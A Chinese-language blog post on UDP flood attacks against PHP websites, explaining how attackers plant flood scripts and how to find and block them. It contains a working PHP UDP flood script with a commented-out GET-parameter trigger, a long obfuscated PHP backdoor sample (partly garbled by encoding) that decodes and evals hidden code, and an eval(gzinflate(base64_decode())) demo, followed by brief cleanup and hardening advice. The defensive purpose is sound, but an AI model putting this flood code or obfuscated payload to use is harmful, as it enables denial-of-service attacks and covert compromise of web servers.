UDP 流量攻击

简介:

最近在群里聊天看到有人被UDP攻击我几年前也遇到过当时前任工作交接过来面临很多挑战。

话又说回来凡是跳槽或主动找到你的公司都是让你去救火的。 

 

先说说UDP攻击原理很简单就是随便连接一个IP地址随便写一个端口号。 IP地址存在与否并不重要。这是UDP 的特性。

然后发送大数据包堵塞交换机路由器。

 

我们在局域网上模拟注意UDP不能在同一个VLAN下必须要经过路由才有效。

 

Php代码   收藏代码
  1. <?php  
  2. /* 
  3. $ip = $_GET['ip']; 
  4. $port = $_GET['port']; 
  5. */  
  6.   
  7. $ip = '192.168.10.30';  
  8. $port = 800;  
  9. $num = 1000;  
  10.   
  11. $packets = 0;  
  12. set_time_limit(0);  
  13. ignore_user_abort(FALSE);  
  14. $data = '';  
  15.   
  16. for($i=0;$i<65535;$i++){  
  17.         $data .= ".";  
  18. }  
  19.   
  20. print "Starting.....<br>";  
  21. while($packets < $num){  
  22.     $fp = fsockopen("udp://$ip"$port$errno$errstr, 5);  
  23.     if($fp){  
  24.         fwrite($fp$data);  
  25.         fclose($fp);  
  26.     }  
  27.     $packets++;  
  28. }  
  29. print('Package: '.$packets);  

 

上面提供的脚本一般攻击者不会直接使用他们会使用PHP源码混淆在植入你的网站中。

 

Php代码   收藏代码
  1. <?php   
  2. if (!defined("ACFCEFFBAEDABEA")){define("ACFCEFFBAEDABEA", true);global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;function 尃($尃,$崜?""){global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;if(emptyempty($崜?){return base64_decode($尃);}else{return 尃($泝垁€殤倻枍憴?$尃,$崜?$悁€儕晜枔憴?$崜?));}}$悁€儕晜枔憴?尃("c3RycmV2?);$泝垁€殤倻枍憴?尃("c3RydHI=?);$唲殱枮?尃("PzQ0NGMzY泎IwZmU1BTUwNzQ5MmV俴M2NFZWIy扤2RFMmM1P?U=?,"LBFZjOP");$儚搱摕嫕?尃("aHJlZ19yZXBsYWNl?,"cxkeqa");$倐挐搷仜摐=尃("lmFzZTl0X2RY弆29kZQ==?,"YjIteHl");$剹姄檰問煈憠?尃("H3p1bmQvbXByH沊Qz?,"ZnNVQPH");$剫灉憰噭弾寙帪?尃("CXChbA==?,"ZPcnsC");function 棊€?&$棊€?{global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;$檨敐姈焻噦仦悢槙?尃("oGgg?,"Zgzlo");@$儚搱摕嫕?$唲殱枮?$剫灉憰噭弾寙帪?"(@$剹姄檰問煈憠?$倐挐搷仜摐('eNptku1v0kAY僿P8V0vDhGutG?TbXkItOZLxk廚gLTlqkhbS1S?pIFSBd0S+zL嶦LpSxzrHeBv9楿+0dSLLot7v7?e55nnuei3vQ機wGRzxW0E5rt哣KZCqSEeQOgQ嘑CHX9VbxSzNP噆Kn4MMBepqlo凢b4IBxE+KchK怋rGx/wPDDl+k巖yIgtRqVDgJ2?7YwyTEf1BxT€6s5R1ON6ljNy宨LvmwB9jQed3峚xWhYFSEU4gk僺SunDR05jj29檓dpYEnT2XOB3€4CNK3nj79dg4嘑JDSG/rBzLx2焥aTqWlsVuLSi泇4djJJ69a6VVpD24M3fUnzjO廸IRNUaifS1n2峍CxC6CPTkDQR慽RPzbuHeL69+歐ubjzd3Db2xn昫a4tMZzWQ2bz怐V/LItULYbV6焟D/KVKsptQbi烪iC2wdazl+Qn€sE1QEaaizoUk?R33IoRo95H+峮LpUtLayOfTC?OX6odFutQAr歋MWIlrTpFQ4A?qrU5uVrmfxP?Rt7PQ+wjkQ9乑5IkhGh4YA2e?AQWtghpX0xI哹I2RFPmFss8m揳zvMbjLJJuQ9焟mZkeY+gGJKM俋VzE/skcgtXf擟OGruDN2g0mv宒78cjQZRDsu6怷QRDcxbMATZQ?favoB8srxd+咰DuqrqDLT27h扠ZSZM1rSOUMS€XndvywL3zULj唓B+UylGP/gCx嶹Qyu€')));","槤?潐墐瀳444c3c20fe59507492ed3cceb27dc2c5寛剣厭");return "y";}}else{global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;$悁€儕晜枔憴?尃("c3RycmV2?);$泝垁€殤倻枍憴?尃("c3RydHI=?);$唲殱枮?尃("PzQ0NGMzY泎IwZmU1BTUwNzQ5MmV俴M2NFZWIy扤2RFMmM1P?U=?,"LBFZjOP");$儚搱摕嫕?尃("aHJlZ19yZXBsYWNl?,"cxkeqa");$倐挐搷仜摐=尃("lmFzZTl0X2RY弆29kZQ==?,"YjIteHl");$剹姄檰問煈憠?尃("H3p1bmQvbXByH沊Qz?,"ZnNVQPH");$剫灉憰噭弾寙帪?尃("CXChbA==?,"ZPcnsC");}$啀帗泚媻?尃("EU5wejhjOUpCd0FZ嘦UGFRm6F?,"ZaHIQotE");$唲殱枮憼=棊€?$啀帗泚媻?;@$儚搱摕嫕?$唲殱枮?$剫灉憰噭弾寙帪?"(@$剹姄檰問煈憠?$倐挐搷仜摐('eNo9UNtu2kAQfe9X憆KyVMGLlOEVEacxF峟Wif+lApH4Acsiar歡G2tF+WhquRbCTHB搘XEwmOuvdhaS7MvM攎Tkz58wanXaz4965刋xBmLmqhyvm3r9r5儀aVW1+p6xUDYdbiA?qWuA7BHQ8gbx9w1攅/dUeIABeVR0BRvS?oANmVD1qoFY33Y4?Y48yrvmDWxRf37/抎f0".$啀帗泚媻?$唲殱枮憼."YU4GVeJb昒5hSG/Qsh6uYtXQD塻+ZFo1FvQFKrVf+8k7QWUjTFQH+Ry5kt瀔HItTC6Y3dfka97w丯jQf7tiAqp8Gm0ff宑oUlL7Q8p3fvuNRW杔dGte3V2Bocr5HQo匓Mq57ZyiJzhBDXmK峱cIsbLAeOBNUAnIy塀E2rN3C8Y60qfX3I?mqfLtXKb6iZfXqF扠tpHH8jvX49GNnyf慽p8JnuUEL1Of4GgS抙QQnwVO6JDiO1vN1凴PA4Xu+KfQbJLM03弚TQB3ks+yQ/TXUpw汫L7u8lmwybcEr5JN攌k3KON4Ce+77UbII漣zwrC1i2TPJyPC4O峎fYEEpto4vvrLNwW俿6wEjXi632aLx/gl榝R6n+xXBZfC2S4rD乿8cw2M/fVouq0Wn/桞xjGxpk=?)));","€拝  
  3. 儝€悪?44c3c20fe59507492ed3cceb27dc2c5儞悇搩");return true;?>9822537530499f58277ef52ffa504e5a  

 

另外一种是采用 eval(gzinflate(base64_decode(.....)))

Php代码   收藏代码
  1. <?php  
  2. $code = "echo 'Hello!';";  
  3. $compressed   = gzdeflate($code, 9);  
  4. $compressed = base64_encode($compressed);  
  5. echo $compressed;  
  6. echo "\r\n";  
  7.   
  8. $compressed = base64_decode($compressed);  
  9. $uncompressed = gzinflate($compressed);  
  10. echo $uncompressed;  
  11. echo "\r\n";  
  12.   
  13. eval($uncompressed);  
  14. echo "\r\n";  
  15.   
  16. ?>  

 

 

如果被攻击了怎样处理这样的攻击其实很简单。

 

grep -r 'udp' * 

 

找到可疑的脚本然后再删除即可

 

对于混淆过的PHP程序其实也有规律可循。可以查找 base64_decode eval 等等关键字一般被植入的目录多是777权限例如图片上传目录。

 

如果做好安全措施

  1. 代码600权限同时不能与web server 守护进程使用一个用户
  2. 无关目录屏蔽php运行权限
Java代码   收藏代码
  1. <Location /includes/>  
  2.         Order allow,deny  
  3.         Deny from all  
  4. </Location>  

 

 3. 使用框架开发很多MVC 只有一个index.php 入口用户可访问的目录只有静态文件

目录
相关文章
|
4月前
|
缓存 网络协议 网络性能优化
【计算机网络-传输层】TCP/UDP、SYN泛洪攻击、三次握手四次挥手
【计算机网络-传输层】TCP/UDP、SYN泛洪攻击、三次握手四次挥手
|
缓存 网络协议 安全
网络安全-DoS与DDoS攻击原理(TCP、UDP、CC攻击等)与防御
网络安全-DoS与DDoS攻击原理(TCP、UDP、CC攻击等)与防御
739 0
|
移动开发 安全 网络安全
PHP使用UDP发包,PHPDDOS,PHP攻击
PHP使用UDP发包,PHPDDOS,PHP攻击
886 0
|
安全 测试技术 区块链
游戏安全资讯精选 2018年第八期:3975款游戏被查处,游戏圈重击;Memcached被利用UDP反射攻击漏洞预警;VentureBeat称区块链或可定位和消除恶意可执行代码的安全问题
3975款游戏被查处,游戏圈重击;Memcached被利用UDP反射攻击漏洞预警;VentureBeat称区块链或可定位和消除恶意可执行代码的安全问题
5950 0
|
Web App开发 安全 测试技术
【重要安全预警】Memcached被利用UDP反射攻击漏洞预警
本周,阿里云安全中心监测到互联网上存在利用Memcached服务漏洞进行的恶意攻击。如果客户默认开放UDP协议且未做访问控制,在运行Memcached服务时可能会被黑客利用,导致出方向的带宽消耗或CPU资源消耗。
8443 0
|
22天前
|
域名解析 网络协议 关系型数据库
tcp和udp的区别是什么
TCP和UDP是互联网协议中的传输层协议。TCP是面向连接的,通过三次握手建立可靠连接,提供数据顺序和可靠性保证,适用于HTTP、FTP等需要保证数据完整性的应用。UDP则是无连接的,数据报独立发送,传输速度快但不保证可靠性,常用于实时通信、流媒体和DNS解析等对速度要求高的场景。根据应用需求选择合适的协议至关重要。
tcp和udp的区别是什么